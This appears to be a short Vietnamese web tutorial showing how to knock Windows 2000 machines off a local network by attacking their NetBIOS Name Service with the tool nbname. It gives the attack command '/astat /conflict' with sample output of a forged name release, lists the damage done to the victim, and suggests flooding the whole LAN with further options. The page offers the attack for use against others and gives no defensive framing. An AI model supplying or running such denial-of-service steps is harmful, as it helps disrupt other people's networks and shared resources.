Từ trước tới giờ chắc các bạn chỉ nghe đến tấn công DoS trên internet , chứ chưa nghe đến DoS trên LAN đâu nhỉ. Có một tool giúp ta tấn công DoS vào dịch vụ NBNS (NetBIOS Name Service) trên các máy dùng win2k trong LAN thông qua protocol NetBIOS. | Tấn công DoS trong LAN trang này đã được đọc lần Từ trước tới giờ chắc các bạn chỉ nghe đến tấn công DoS trên internet , chứ chưa nghe đến DoS trên LAN đâu nhỉ. Có một tool giúp ta tấn công DoS vào dịch vụ NBNS (Net-BIOS Name Service) trên các máy dùng win2k trong LAN thông qua protocol NetBIOS. Lưu ý : trước khi dùng tool này , bạn phải ngắt service NetBIOS của protcol TCP/IP để tránh xung đột với service NBNS hiện tại ( coi chừng gậy ông đập lưng ông ;-) ). Rồi, bây giờ bạn download nbname tại . Unzip và thử tấn công thằng xem sao (nbname chạy trong DOS): C:\nbname /astat /conflict NBName - Decodes and displays NetBIOS Name traffic (UDP 137), with options Copyright 2000: Sir Dystic, Cult of the Dead Cow -:|:- New Hack City Send complaints, ideas and donations to sd@|sd@ WinSock () WinSock WinSock status: Running Bound to port 137 on address Broadcast address Netmask: **** NBSTAT QUERY packet sent to Waiting for packets. ** Received 301 bytes from via local net at Web Jun 20 15:46:12 200 OPCode: QUERY Flags: Response AuthoratativeAnswer Answer [0]: * Node Status Resource Record: MANDALAY ACTIVE UNIQUE NOTPERM INCONFLICT NOTDEREGED B-NODE MANDALAYFS ACTIVE GROUP NOTPERM NOCONFLICT NOTDEREGED B-NODE **** Name release sent to Hậu quả của DoS đối với victim : 1. Kết nối mạng bị trục trặc 2. Làm ngưng các chức năng mạng ( vd chức năng Network Neighborhood) 3. Không dùng được chức năng net send 4. Gặp trục trặc với kết nối domain 5. Không thể truy cập được vào tài nguyên chia sẻ chung 6. Hỏng sevice NetBIOS 7. Dùng lệnh nbtstat -n sẽ gặp 1 bảng thông báo Conflict như sau : LAN: Node IpAddress: [] Scope Id: [] NetBIOS Local Name Table Name Type Status -------------------------------------------------------------------- MANDALAY UNIQUE Conflict MANDALAYFS GROUP Registered MANDALAYFS GROUP Registered MANDALAY UNIQUE Conflict MANDALAYFS GROUP Registered MANDALAY UNIQUE Conflict Bạn có thể tấn công tòan mạng LAN bằng cách thêm các tham số /QUERY , /DENY . Bạn gõ nbname / ? để tham khảo thêm các tham số kèm theo của nbname.
